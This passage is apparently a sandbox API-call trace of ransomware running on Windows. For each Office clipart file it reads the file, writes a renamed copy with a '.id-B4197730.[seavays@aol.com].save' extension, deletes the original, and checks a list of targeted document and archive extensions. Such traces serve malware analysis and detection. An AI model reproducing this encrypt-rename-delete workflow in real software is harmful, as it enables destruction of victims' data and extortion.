[0186.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.834] lstrlenW (lpString=".bz2") returned 4 [0186.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.834] lstrlenW (lpString=".7z") returned 3 [0186.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0186.834] lstrlenW (lpString=".dbf") returned 4 [0186.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0186.834] lstrlenW (lpString=".1cd") returned 4 [0186.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68 [0186.834] lstrlenW (lpString=".jpg") returned 4 [0186.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.835] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=5864) returned 1 [0186.835] CloseHandle (hObject=0x534) returned 1 [0186.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf")) returned 0x220 [0186.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0186.837] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.837] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0186.838] GetLastError () returned 0x0 [0186.838] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x16e8, lpOverlapped=0x0) returned 1 [0186.840] WriteFile (in: hFile=0x558, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x16f0, lpOverlapped=0x0) returned 1 [0186.841] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0186.841] WriteFile (in: hFile=0x558, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0186.841] SetEndOfFile (hFile=0x558) returned 1 [0186.841] CloseHandle (hObject=0x558) returned 1 [0186.842] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0186.842] SetEndOfFile (hFile=0x534) returned 1 [0186.845] CloseHandle (hObject=0x534) returned 1 [0186.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf")) returned 1 [0186.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0186.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0186.847] lstrlenW (lpString=".doc") returned 4 [0186.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.847] lstrlenW (lpString=".docx") returned 5 [0186.847] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0186.847] lstrlenW (lpString=".pdf") returned 4 [0186.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.847] lstrlenW (lpString=".xls") returned 4 [0186.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.847] lstrlenW (lpString=".xlsx") returned 5 [0186.847] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0186.847] lstrlenW (lpString=".ppt") returned 4 [0186.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0186.847] lstrlenW (lpString=".zip") returned 4 [0186.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.847] lstrlenW (lpString=".rar") returned 4 [0186.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.847] lstrlenW (lpString=".bz2") returned 4 [0186.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.847] lstrlenW (lpString=".7z") returned 3 [0186.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0186.847] lstrlenW (lpString=".dbf") returned 4 [0186.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0186.847] lstrlenW (lpString=".1cd") returned 4 [0186.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68 [0186.848] lstrlenW (lpString=".jpg") returned 4 [0186.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.849] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=9736) returned 1 [0186.849] CloseHandle (hObject=0x534) returned 1 [0186.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf")) returned 0x220 [0186.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0187.175] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0187.175] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0187.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0187.194] GetLastError () returned 0x0 [0187.194] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x2608, lpOverlapped=0x0) returned 1 [0187.202] WriteFile (in: hFile=0x388, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2610, lpOverlapped=0x0) returned 1 [0187.206] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0187.206] WriteFile (in: hFile=0x388, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0187.207] SetEndOfFile (hFile=0x388) returned 1 [0187.208] CloseHandle (hObject=0x388) returned 1 [0187.208] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0187.208] SetEndOfFile (hFile=0x534) returned 1 [0187.497] CloseHandle (hObject=0x534) returned 1 [0187.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf")) returned 1 [0187.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0187.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0187.500] lstrlenW (lpString=".doc") returned 4 [0187.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.500] lstrlenW (lpString=".docx") returned 5 [0187.500] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0187.500] lstrlenW (lpString=".pdf") returned 4 [0187.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.500] lstrlenW (lpString=".xls") returned 4 [0187.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.500] lstrlenW (lpString=".xlsx") returned 5 [0187.500] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0187.500] lstrlenW (lpString=".ppt") returned 4 [0187.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0187.500] lstrlenW (lpString=".zip") returned 4 [0187.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.500] lstrlenW (lpString=".rar") returned 4 [0187.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.500] lstrlenW (lpString=".bz2") returned 4 [0187.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.500] lstrlenW (lpString=".7z") returned 3 [0187.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0187.501] lstrlenW (lpString=".dbf") returned 4 [0187.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0187.501] lstrlenW (lpString=".1cd") returned 4 [0187.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0187.501] lstrlenW (lpString=".jpg") returned 4 [0187.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.384] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=23338) returned 1 [0188.384] CloseHandle (hObject=0x2a8) returned 1 [0188.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg")) returned 0x220 [0188.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0188.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0188.386] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0188.386] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0188.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0188.388] GetLastError () returned 0x0 [0188.388] ReadFile (in: hFile=0x2a8, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x5b2a, lpOverlapped=0x0) returned 1 [0188.394] WriteFile (in: hFile=0x378, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x5b30, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x5b30, lpOverlapped=0x0) returned 1 [0188.396] ReadFile (in: hFile=0x2a8, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0188.396] WriteFile (in: hFile=0x378, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0188.396] SetEndOfFile (hFile=0x378) returned 1 [0188.397] CloseHandle (hObject=0x378) returned 1 [0188.397] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0188.397] SetEndOfFile (hFile=0x2a8) returned 1 [0188.401] CloseHandle (hObject=0x2a8) returned 1 [0188.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0188.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg")) returned 1 [0188.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0188.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0188.403] lstrlenW (lpString=".doc") returned 4 [0188.403] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0188.403] lstrlenW (lpString=".docx") returned 5 [0188.403] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0188.403] lstrlenW (lpString=".pdf") returned 4 [0188.403] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0188.404] lstrlenW (lpString=".xls") returned 4 [0188.404] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0188.404] lstrlenW (lpString=".xlsx") returned 5 [0188.404] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0188.404] lstrlenW (lpString=".ppt") returned 4 [0188.404] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0188.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0188.404] lstrlenW (lpString=".zip") returned 4 [0188.404] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0188.404] lstrlenW (lpString=".rar") returned 4 [0188.404] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0188.404] lstrlenW (lpString=".bz2") returned 4 [0188.404] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0188.404] lstrlenW (lpString=".7z") returned 3 [0188.404] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0188.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0188.404] lstrlenW (lpString=".dbf") returned 4 [0188.404] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0188.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0188.404] lstrlenW (lpString=".1cd") returned 4 [0188.404] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0188.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0188.405] lstrlenW (lpString=".jpg") returned 4 [0188.405] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0188.406] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=32110) returned 1 [0188.406] CloseHandle (hObject=0x2a8) returned 1 [0188.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg")) returned 0x220 [0188.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0188.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0188.408] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0188.408] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0188.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0188.410] GetLastError () returned 0x0 [0188.410] ReadFile (in: hFile=0x2a8, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x7d6e, lpOverlapped=0x0) returned 1 [0188.413] WriteFile (in: hFile=0x378, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x7d70, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x7d70, lpOverlapped=0x0) returned 1 [0188.415] ReadFile (in: hFile=0x2a8, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0188.415] WriteFile (in: hFile=0x378, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0188.415] SetEndOfFile (hFile=0x378) returned 1 [0188.415] CloseHandle (hObject=0x378) returned 1 [0188.416] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0188.416] SetEndOfFile (hFile=0x2a8) returned 1 [0188.518] CloseHandle (hObject=0x2a8) returned 1 [0188.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0188.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg")) returned 1 [0189.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0189.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0189.210] lstrlenW (lpString=".doc") returned 4 [0189.210] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0189.210] lstrlenW (lpString=".docx") returned 5 [0189.210] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0189.210] lstrlenW (lpString=".pdf") returned 4 [0189.210] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0189.210] lstrlenW (lpString=".xls") returned 4 [0189.211] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0189.211] lstrlenW (lpString=".xlsx") returned 5 [0189.211] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0189.211] lstrlenW (lpString=".ppt") returned 4 [0189.211] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0189.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0189.211] lstrlenW (lpString=".zip") returned 4 [0189.211] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0189.211] lstrlenW (lpString=".rar") returned 4 [0189.211] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0189.211] lstrlenW (lpString=".bz2") returned 4 [0189.211] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0189.211] lstrlenW (lpString=".7z") returned 3 [0189.211] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0189.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0189.211] lstrlenW (lpString=".dbf") returned 4 [0189.211] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0189.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0189.211] lstrlenW (lpString=".1cd") returned 4 [0189.211] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0189.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0189.211] lstrlenW (lpString=".jpg") returned 4 [0189.211] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0189.559] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=7822) returned 1 [0189.559] CloseHandle (hObject=0x568) returned 1 [0189.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf")) returned 0x220 [0189.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0189.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0189.561] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0189.561] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0189.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0189.562] GetLastError () returned 0x0 [0189.562] ReadFile (in: hFile=0x568, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1e8e, lpOverlapped=0x0) returned 1 [0189.564] WriteFile 